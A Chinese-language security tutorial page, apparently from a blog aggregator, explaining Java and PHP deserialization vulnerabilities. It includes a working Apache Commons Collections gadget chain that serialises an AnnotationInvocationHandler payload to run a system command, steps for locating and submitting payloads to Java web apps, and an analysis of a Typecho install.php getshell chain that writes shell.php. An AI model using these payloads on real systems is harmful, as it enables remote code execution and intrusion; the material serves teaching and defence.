    简单的说,序列化和反序列化就是:

    • 把对象转换为字节序列的过程称为对象的序列化

    • 把字节序列恢复为对象的过程称为对象的反序列化

    对象序列化的用途:

    • 把对象的字节序列永久地保存到硬盘上,通常存放在一个文件中

    • 在网络上传送对象的字节序列

    当两个进程在进行远程通信时,彼此可以发送各种类型的数据。无论是何种类型的数据,最终都会以二进制的形式在网络上传送。发送方需要把这个Java对象序列化;接收方收到数据后把数据反序列化为Java对象。

    通常,对象实例的所有字段都会被序列化,这意味着数据会被表示为实例的序列化数据。这样,能够解释该格式的代码就能够确定这些数据的值,而不依赖于该成员的可访问性。类似地,反序列化从序列化的表示形式中提取数据,并直接设置对象状态。

    对于任何可能包含重要的安全性数据的对象,如果可能,应该使该对象不可序列化。如果它必须为可序列化的,请尝试生成特定字段来保存重要数据。如果无法实现这一点,则应注意该数据会被公开给任何拥有序列化权限的代码,并确保不让任何恶意代码获得该权限。

    在很多应用中,需要对某些对象进行序列化,让它们离开内存空间,入住物理硬盘,以便长期保存。比如最常见的是Web服务器中的Session对象,当有 10万用户并发访问,就有可能出现10万个Session对象,内存可能吃不消,于是Web容器就会把一些seesion先序列化到硬盘中,等要用了,再把保存在硬盘中的对象还原到内存中。

    JAVA WEB中的序列化和反序列化

    • java.io.ObjectOutputStream 代表对象输出流,它的 writeObject() 方法可对参数指定的对象进行序列化,把得到的字节序列写到一个目标输出流中

    • java.io.ObjectInputStream 代表对象输入流,它的 readObject() 方法从一个源输入流中读取字节序列,再把它们反序列化为一个对象,并将其返回

    只有实现了 Serializable 和 Externalizable 接口的类的对象才能被序列化和反序列化。Externalizable 接口继承自 Serializable 接口,实现 Externalizable 接口的类完全由自身来控制反序列化的行为,而实现 Serializable 接口的类既可以采用默认的反序列化方式,也可以自定义反序列化方式。

    对象序列化包括如下步骤:

    1. 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流

    2. 通过对象输出流的 writeObject() 方法将对象进行序列化

    对象反序列化的步骤如下:

    1. 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流

    2. 通过对象输入流的 readObject() 方法将字节序列反序列化为对象

    对象序列化和反序列范例

    定义一个User类,实现Serializable接口

    import java.io.IOException;import java.io.Serializable;public class User implements Serializable{  private String name;  public String getName(){    return name;  }  public void setName(String name){    this.name=name;  }}

    定义主类,对User对象进行序列化和反序列化

    import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;public class Test {  public static void main(String[] args) throws IOException {    Test a=new Test();    try {      a.run();    //序列化      a.run2();   //反序列化    } catch (IOException | ClassNotFoundException e) {      e.printStackTrace();    }  }  //将该对象进行序列化,存储在本地的test.txt文件中  public static void run() throws IOException{    FileOutputStream out=new FileOutputStream("test.txt");   //实例化一个文件输出流    ObjectOutputStream obj_out=new ObjectOutputStream(out);  //实例化一个对象输出流    User u=new User();    u.setName("谢公子");    obj_out.writeObject(u);   //利用writeObject()方法将类序列化存储在本地    obj_out.close();    System.out.println("User对象序列化成功!");    System.out.println("***********************");  }  //将存储在本地test.txt的序列化数据进行反序列化  public void run2() throws IOException,ClassNotFoundException{    FileInputStream in = new FileInputStream("test.txt");   //实例化一个文件输入流    ObjectInputStream ins = new ObjectInputStream(in);      //实例化一个对象输入流    User u=(User)ins.readObject();    System.out.println("User对象反序列化成功!");    System.out.println(u.getName());                ins.close();             }}

    运行结果

    7cd3580032764484ce500208af9c8079.png

    同时,会在当前文件夹生成一个 test.txt 用来存储序列化的对象,内容如下:

    e71c471352bbefb42a7a855d9738227b.png

    JAVA中执行系统命令

    我们先来看看JAVA中执行系统命令的方法,如下代码可以执行系统命令:whoami

    import java.io.BufferedReader;import java.io.IOException;import java.io.InputStreamReader;import org.omg.CORBA.portable.InputStream; public class main {  public static void main(String[] args) throws IOException, InterruptedException {    Process p=Runtime.getRuntime().exec("whoami");    java.io.InputStream is=p.getInputStream();    BufferedReader reader = new BufferedReader(new InputStreamReader(is));    p.waitFor();    if (p.exitValue() != 0) {        //说明命令执行失败,可以进入到错误处理步骤中    }    String s = null;    while ((s = reader.readLine()) != null) {        System.out.println(s);    }  }}

    运行结果 

    597c7e977271176574dbceca9f1e4465.png

    重写readObject()方法

    我们上面说到了可以通过重写 readObject() 方法来自定义类的反序列化方式。所以,我们将User类的 readObject() 进行重写

    import java.io.BufferedReader;import java.io.Externalizable;import java.io.IOException;import java.io.InputStreamReader;import java.io.ObjectInput;import java.io.ObjectOutput;import java.io.Serializable;public class User implements Serializable{  private String name;  public String getName(){    return name;  }  public void setName(String name){    this.name=name;  }  private void readObject(java.io.ObjectInputStream in)throws ClassNotFoundException,IOException, InterruptedException{    //这里使用默认的ReadObject方法    in.defaultReadObject();    //重写,执行系统命令:whoami    Process p=Runtime.getRuntime().exec("whoami");    java.io.InputStream is=p.getInputStream();    BufferedReader reader = new BufferedReader(new InputStreamReader(is));    p.waitFor();    if (p.exitValue() != 0) {        //说明命令执行失败        //可以进入到错误处理步骤中    }    String s = null;    while ((s = reader.readLine()) != null) {        System.out.println(s);    }  }}

    主类中的代码不变,我们再来执行序列化和反序列化过程。可以看到,除了执行了对象的序列化和反序列化之外,还执行了我们自定义的系统命令的代码。

    297a88b2860fa977389fa3b82e2d1a75.png

    Apache Commons Collections

    Apache Commons Collections 是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。

    Commons Collections 实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。

    我们可以通过TransformedMap.decorate()方法,获得一个TransformedMap的实例。如下代码是TransformedMap.decorate()方法

    public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {    return new TransformedMap(map, keyTransformer, valueTransformer);}

    Transformer是一个接口,其中定义的transform()函数用来将一个对象转换成另一个对象。如下所示 

    public interface Transformer {    public Object transform(Object input);}

    当TransformedMap中的任意项的Key或者Value被修改,相应的Transformer的transform()方法就会被调用。除此以外,多个Transformer还能串起来,形成ChainedTransformer。 

    Apache Commons Collections中已经实现了一些常见的 Transformer,其中的 InvokerTransformer 接口实现了反射链,可以通过Java的反射机制来执行任意命令。于是我们可以通过InvokerTransformer的反射链获得Runtime类来执行系统命令 

    传送门——> InvokerTransformer反射链

    在上面的 InvokerTransformer反射链 这篇文章中我已经介绍了如何通过修改Value值来触发执行反射链来执行任意命令。

    但是目前的构造还需要依赖于修改Map中的Value值去触发调用反射链,我们需要想办法通过readObject()直接触发。

    如果某个可序列化的类重写了readObject()方法,并且在readObject()中对Map类型的变量进行了键值修改操作,并且这个Map参数是可控的,就可以实现我们的攻击目标了。

    于是,我们找到了这个类:AnnotationInvocationHandler ,这个类有一个成员变量 memberValues Map类型,并且在重写的 readObject() 方法中有 memberValue.setValue() 修改Value的操作。简直是完美!

    于是我们可以实例化一个AnnotationInvocationHandler类,将其成员变量memberValues赋值为精心构造的恶意TransformedMap对象。然后将其序列化,提交给未做安全检查的Java应用。Java应用在进行反序列化操作时,执行了readObject()函数,修改了Map的Value,则会触发TransformedMap的变换函数transform(),再通过反射链调用了Runtime.getRuntime.exec("XXX") 命令,最终就可以执行我们的任意代码了,一切是那么的天衣无缝!

    Part 3

    反序列化漏洞payload

    • 反序列化时会执行对象的readObject()方法

    • Runtime.getRuntime.exec(“xx”)可以执行系统命令

    • InvokerTransformer的transform()方法可以通过反射链调用Runtime.getRuntime.exec(“xx”)函数来执行系统命令

    • TransformedMap类的decorate方法用来实例化一个TransformedMap对象,即public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) ,第二个和第三个参数传入一个Transformer,当key值和Value值改变时,会调用Transformer的transformer()方法。于是我们可以将第三个参数传入 InvokerTransformer

    Payload构造思路:我们构造恶意的类:AnnotationInvocationHandler,将该类的成员变量memberValues赋值为我们精心构造的TransformedMap对象,并将AnnotationInvocationHandler类进行序列化,然后交给JAVA WEB应用进行反序列化。再进行反序列化时,会执行readObject()方法,该方法会对成员变量TransformedMap的Value值进行修改,该修改触发了TransformedMap实例化时传入的参数InvokerTransformer的transform()方法,InvokerTransformer.transform()方法通过反射链调用Runtime.getRuntime.exec(“xx”)函数来执行系统命令

    058c54348c9d9c785bc11ff2958523f8.png

    如下代码,我们通过构造恶意的类AnnotationInvocationHandler并将其序列化保存在 payload.bin文件中,只要将它给存在反序列化漏洞的JAVA WEB 应用进行反序列化就能执行我们的命令了。

    import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;import java.util.Map.Entry; import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap; public class main2 {        public static void main(String[] args) throws Exception{                Transformer[] transformers = new Transformer[] {                                new ConstantTransformer(Runtime.class),                                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),                                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),                                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})};                 Transformer transformedChain = new ChainedTransformer(transformers);  //实例化一个反射链                 Map innerMap = new HashMap();   //实例化一个Map对象                innerMap.put("value", "value");                                Map outerMap = TransformedMap.decorate(innerMap, null, transformedChain); //将Map对象和反射链作为参数传入                 Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");  //得到 AnnotationInvocationHandler类的字节码文件                Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);                ctor.setAccessible(true);                Object instance = ctor.newInstance(Target.class, outerMap);  //得到我们构造好的 AnnotationInvocationHandler类实例                 FileOutputStream f = new FileOutputStream("payload.bin");                ObjectOutputStream out = new ObjectOutputStream(f);  //创建一个对象输出流                out.writeObject(instance);  //将我们构造的 AnnotationInvocationHandler类进行序列化                out.flush();                out.close();        }}

    Part 4

    JAVA Web反序列化漏洞的挖掘和利用

    1:漏洞触发场景

    在java编写的web应用与web服务器间通常会发送大量的序列化对象例如以下场景:  

    • HTTP请求中的参数,cookies以及Parameters。  

    • RMI协议,被广泛使用的RMI协议完全基于序列化   

    • JMX 同样用于处理序列化对象   

    • 自定义协议 用来接收与发送原始的java对象

    2:漏洞挖掘

    (1)确定反序列化输入点  

    首先应找出readObject方法调用,在找到之后进行下一步的注入操作。一般可以通过以下方法进行查找:

        1)源码审计:寻找可以利用的“靶点”,即确定调用反序列化函数readObject的调用地点。  

        2)对该应用进行网络行为抓包,寻找序列化数据,java序列化的数据一般会以标记(ac ed 00 05)开头,base64编码后的特征为rO0AB。  

    (2)再考察应用的Class Path中是否包含Apache Commons Collections库   

    (3)生成反序列化的payload   

    (4)提交我们的payload数据

    参考文章:Java反序列化漏洞从无到有

                      Lib之过?Java反序列化漏洞通用利用分析

                     Java反序列化漏洞分析

                     Commons Collections Java反序列化漏洞深入分析

    展开全文
  • 这个漏洞是由PHP反序列化漏洞造成的,所以这里我们分析一下这个漏洞,并借此漏洞深入理解PHP反序列化漏洞。一、 PHP反序列化漏洞1.1 漏洞简介PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞...

    零、前言

    Typecho是一个轻量版的博客系统,前段时间爆出getshell漏洞,网上也已经有相关的漏洞分析发布。这个漏洞是由PHP反序列化漏洞造成的,所以这里我们分析一下这个漏洞,并借此漏洞深入理解PHP反序列化漏洞。

    一、 PHP反序列化漏洞

    1.1 漏洞简介

    PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。

    1.2 漏洞原理

    接下来我们通过几个实例来理解什么是PHP序列化与反序列化以及漏洞形成的具体过程,首先建立1.php文件文件内容如下:

    36b780186d0e2e014030049534df8efc.png

    文件中有一个TestClass类,类中定义了一个$variable变量和一个PrintVariable函数,然后实例化这个类并调用它的方法,运行结果如下:

    eee2aed6a638cc950bdf6ac57676f88e.png

    这是一个正常的类的实例化和成员函数调用过程,但是有一些特殊的类成员函数在某些特定情况下会自动调用,称之为magic函数,magic函数命名是以符号__开头的,比如__construct当一个对象创建时被调用,__destruct当一个对象销毁时被调用,__toString当一个对象被当作一个字符串被调用。为了更好的理解magic方法是如何工作的,在2.php中增加了三个magic方法,__construct, __destruct和__toString。

    504a292eb75abab70ac4d6a0462f4eae.png

    运行结果如下,注意还有其他的magic方法,这里只列举了几个。

    f228f889373b7c0a7834ae27ef90f267.png

    php允许保存一个对象方便以后重用,这个过程被称为序列化。为什么要有序列化这种机制呢?因为在传递变量的过程中,有可能遇到变量值要跨脚本文件传递的过程。试想,如果在一个脚本中想要调用之前一个脚本的变量,但是前一个脚本已经执行完毕,所有的变量和内容释放掉了,我们要如何操作呢?难道要前一个脚本不断的循环,等待后面脚本调用?这肯定是不现实的。serialize和unserialize就是用来解决这一问题的。serialize可以将变量转换为字符串并且在转换中可以保存当前变量的值;unserialize则可以将serialize生成的字符串变换回变量。让我们在3.php中添加序列化的例子,看看php对象序列化之后的格式。

    771cc868c0f355afa1a988e1827a8788.png

    输出如下

    2119e0f49975d45d6de94c409de7d59a.png

    O表示对象,4表示对象名长度为4,”User”为类名,2表示成员变量个数,大括号里分别为变量的类型、名称、长度及其值。想要将这个字符串恢复成类对象需要使用unserialize重建对象,在4.php中写入如下代码

    25104ece76974931666b1fda710bca5f.png

    运行结果

    b06072267915c2cdb729680631db5e84.png

    magic函数__construct和__destruct会在对象创建或者销毁时自动调用,__sleep方法在一个对象被序列化的时候调用,__wakeup方法在一个对象被反序列化的时候调用。在5.php中添加这几个magic函数的例子。

    b98433ee6aee8c634958b0898d93b4b4.png

    运行结果

    26b15e19a66a3c21453d76b4cf495f76.png

    OK,到此我们已经知道了magic函数、序列化与反序列化这几个重要概念,那么这个过程漏洞是怎么产生的呢?我们再来看一个例子6.php

    18aaa39d8d225c69329b5eecda767c2c.png

    这段代码包含两个类,一个example和一个process,在process中有一个成员函数close(),其中有一个eval()函数,但是其参数不可控,我们无法利用它执行任意代码。但是在example类中有一个__destruct()析构函数,它会在脚本调用结束的时候执行,析构函数调用了本类中的一个成员函数shutdown(),其作用是调用某个地方的close()函数。于是开始思考这样一个问题:能否让他去调用process中的close()函数且$pid变量可控呢?答案是可以的,只要在反序列化的时候$handle是process的一个类对象,$pid是想要执行的任意代码代码即可,看一下如何构造POC

    fe0fa161dd59d791b0aff896099988b2.png

    执行效果

    7a8d691c55fdea0e05d9c592911e8a0c.png

    当我们序列化的字符串进行反序列化时就会按照我们的设定生成一个example类对象,当脚本结束时自动调用__destruct()函数,然后调用shutdown()函数,此时$handle为process的类对象,所以接下来会调用process的close()函数,eval()就会执行,而$pid也可以进行设置,此时就造成了代码执行。这整个攻击线路我们称之为ROP(Return-oriented programming)链,其核心思想是在整个进程空间内现存的函数中寻找适合代码片断(gadget),并通过精心设计返回代码把各个gadget拼接起来,从而达到恶意攻击的目的。构造ROP攻击的难点在于,我们需要在整个进程空间中搜索我们需要的gadgets,这需要花费相当长的时间。但一旦完成了“搜索”和“拼接”,这样的攻击是无法抵挡的,因为它用到的都是程序中合法的的代码,普通的防护手段难以检测。反序列化漏洞需要满足两个条件:1、程序中存在序列化字符串的输入点

    2、程序中存在可以利用的magic函数

    接下来通过Typecho的序列化漏洞进行实战分析。

    二 Typecho漏洞分析

    漏洞的位置发生在install.php,首先有一个referer的检测,使其值为一个站内的地址即可绕过。

    e4d293aabbfacd2f12c6c1ec53dd91e8.png

    入口点在232行

    47acd35e5e8c5028eb48d014348280a2.png

    这里将cookie中的__typecho_config值取出,然后base64解码再进行反序列化,这就满足了漏洞发生的第一个条件:存在序列化字符串的输入点。接下来就是去找一下有什么magic方法可以利用。先全局搜索__destruct()和__wakeup()

    200b5fe1b5daebda4e96e859982006c6.png

    找到两处__destruct(),跟进去没有可利用的地方,跟着代码往下走会实例化一个Typecho_Db,位于var\Typecho\Db.php,Typecho_Db的构造函数如下

    80a66836745e86a63f4c44d677709f20.png

    在第120行使用.运算符连接$adapterName,这时$adapterName如果是一个实例化的对象就会自动调用__toString方法(如果存在的话),那全局搜索一下__toString()方法。找到3处

    922edfefd97a44f99d3116e049a42715.png

    前两处无法利用,跟进第三处,__toString()在var\Typecho\Feed.php 223行

    eb30179e4cb43ce0f4a332f8fa0b00a7.png

    跟进代码在290处有如下代码

    dc8e1cd76d6a659b9db8e8e4d50d9f2f.png

    如何$item['author']是一个类而screenName是一个无法被直接调用的变量(私有变量或根本就不存在的变量),则会自动调用__get() magic方法,进而再去寻找可以利用的__get()方法,全局搜索

    bd99d1a5b1986711e9b954255a5ec032.png

    共匹配到10处,其中在var\Typecho\Request.php中的代码可以利用,跟进

    264907c474b2665c3219e622d6fc680f.png

    再跟进到get函数

    606d06f57697cdec50c4a614b02b92a3.png

    接着进入_applyFilter函数

    38a8dedcdd2b7074003265e973694748.png

    可以看到array_map和call_user_func函数,他们都可以动态的执行函数,第一个参数表示要执行的函数的名称,第二个参数表示要执行的函数的参数。我们可以在这里尝试执行任意代码。接下来梳理一下整个流程,数据的输入点在install.php文件的232行,从外部读入序列化的数据。然后根据我们构造的数据,程序会进入Db.php的__construct()函数,然后进入Feed.php的__toString()函数,再依次进入Request.php的__get()、get()、_applyFilter()函数,最后由call_user_func实现任意代码执行,整个ROP链形成。构造POC如下

    eb4c60dc8747be1e060787cbbb373558.png

    POC的22行其实与反序列化无关,但是不加这一行程序就不会有回显,因为在 install.php 的开头部分调用了程序调用了ob_start(),它会开启缓冲区并将要输出的内容都放进缓冲区,想要使用的时候可以再取出。但是我们的对象注入会在后续的代码中造成数据库错误

    8c8bed1def60c98e62d9252ee736cbaf.png

    71401d892ec76a4b15d3c418e2b9352e.png

    然后会触发exception,其中的ob_end_clean()会将缓冲区中的内容清空,导致无法回显。

    10bdf6ea0d4806753b5b6db845e45b8a.png

    想要解决这个问题需要在ob_end_clean()执行之前是程序退出,两种方法:

    1、使程序跳转到存在exit()的代码段

    2、使程序提前报错,退出代码

    POC中使用的是第二种方法

    c012c8bbbf544f536dfe3cfd0ff3b36f.png

    解决了上述问题后就可以执行任意代码并能看到回显了,执行的时候在http头添加referre使其等于一个站内地址,然后在cookie中添加字段__typecho_config,其值为上述exp的输出。

    6074e9daa05b9a9276d8bcad19baf9cd.png

    有些利用方式并不需要回显,比如写个shell什么的,POC如下

    f633394c579abc6e26a94e009fc888fd.png

    执行结果,在根目录生成shell.php

    aaf38af7b1e474833a07a690fc44806e.png

    三 声明

    文章旨在普及网络安全知识,提高小伙伴的安全意识的同时介绍常见漏洞的特征、挖掘技巧等。若读者因此做出危害网络安全的行为后果自负,与合天智汇及本人无关,特此声明。(PS:本文为合天原创奖励文章,未经允许,禁止以任何形式转载!)

    展开全文
  • 阅读:26,150Java反序列化漏洞从爆出到现在快2个月了,已有白帽子实现了jenkins,weblogic,jboss等的代码执行利用工具。本文对于Java反序列化的漏洞简述后,并对于Java反序列化的Poc进行详细解读。Java反序列化漏洞...
  • 标题: JDK7u21反序列化漏洞☆前言☆Serializable接口详解11)JDK7u21反序列化漏洞11.1)JacksonExploit7u21.java11.2)JDK7u21Exec.java11.3)复杂版调用关系11.4)简化版调用关系11.5)7u25-b03(2013-06-1...
  • Java反序列化漏洞及挖洞思路,源码级分析漏洞原理,从组件开发角度分析造成漏洞的原因,最后总结使用了同样开发原理的其他组件,提供挖洞思路
  • Java反序列化漏洞从爆出到现在快2个月了,已有白帽子实现了jenkins,weblogic,jboss等的代码执行利用工具。本文对于Java反序列化的漏洞简述后,并对于Java反序列化的Poc进行详细解读。Java反序列化漏洞简介· Java...
  • 反序列化漏洞详解一、什么是序列化和反序列化1、序列化和反序列化序列化是将复杂的数据结构(如对象及其字段)转换为“更平坦”格式的过程这种格式可以作为连续的字节流发送和接收序列化数据使以下操作更简单: 将复杂...
  • 针对Fastjson反序列化漏洞原理分析和Poc网上以及有很多,本文仅分享如何快速发现Fastjson反序列化漏洞,方便安全测试人员开展安全测试及修补漏洞。文章中涉及到的工具和源码仅供安全测试和学习使用,否则后果自负,...
  • 为了保证质量,我不能保证日更,只能说尽量更新快点,今天分享一下php反序列化漏洞。什么是序列化?是将变量转换为可保存或传输的字符串的过程函数:serialize()字符串对象序列化$a = "test";echo "序列化:";$aa = ...
  • 目录 一、前言 二、序列化与反序列化简介 三、反序列化怎样才会被利用? 1、说明 ...2、关键类说明-Transformer ...四、Dubbo反序列化漏洞剖析 1、Dubbo的漏洞简介 2、漏洞复现步骤 3、如何解决漏洞 五、更...
  • 这次来研究一下weblogic一些反序列化漏洞.主要是: CVE-2017-3506 ,CVE-2017-10271 CVE-2019-2725这三个CVE,就是一个不停绕过的过程.从CVE-2017-3506开始发现,官方... 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(...
  • 一、Shiro反序列化漏洞发现0x01 与shiro失之交臂 还是上一篇文章的那个网站,从之前发的任意用户注册到文件上传失败再到反射型XSS就可看出来,我第一次并没有发现shiro反序列化漏洞。 由于在注册的时候只是关注了...
  • ActiveMQ反序列化漏洞复现(CVE-2015-5254)前言:Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。由于ActiveMQ是一个纯Java程序,因此...
  • Apache Dubbo 反序列化漏洞早在2019年开发者社区就有谈到这个 http 协议漏洞问题,近期360灵腾安全实验室判断漏洞等级为高,利用难度低,威胁程度高。 建议升级 dubbo 版本,避免遭受黑客攻击。漏洞描述 Unsafe ...
  • 通过 HashMap 触发 DNS 检测 Java 反序列化漏洞我们常说的反序列化漏洞一般是指 readObject() 方法处触发的漏洞,而除此以外针对不同的序列化格式又会产生不同的出发点,比如说 fastjson 会自动运行 setter,getter ...
  • Apache Shiro是一个强大易用的...1、Shiro rememberMe反序列化漏洞(Shiro-550)1.1 漏洞原理1.2 影响版本1.3 漏洞特征1.4 漏洞利用1.4.1 利用方式一:反弹shell1.4.2 利用方式二:写入文件2、Shiro Padding Oracle ...
  • 刚脆就趁着周末研究一下反序列化漏洞,并且搭建实战环境实际操作了一把,明白了之后发现之前听的迷糊更多是因为对于反序列漏洞思路不够清晰,明白了反序列的流程之后,反序列化漏洞很好理解。下面的内容,我将详细论...
  • 1.shiro反序列化漏洞、暴力破解漏洞检测工具源码 2.shiro反序列化漏洞、暴力破解漏洞检测工具jar包 3.shiro反序列化漏洞、暴力破解漏洞检测工具启动方法 4.shiro反序列化漏洞、暴力破解漏洞检测工具使用方法 5.shiro...
  • > 仔细看了一遍发现题目没有入口,注意到ini_set('session.serialize_handler', 'php'),想到可不可能是session反序列化漏洞,看一下phpinfo,发现session.serialize_handler设置如下local value(当前目录,会覆盖...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 3,251
精华内容 1,300
关键字:

反序列化漏洞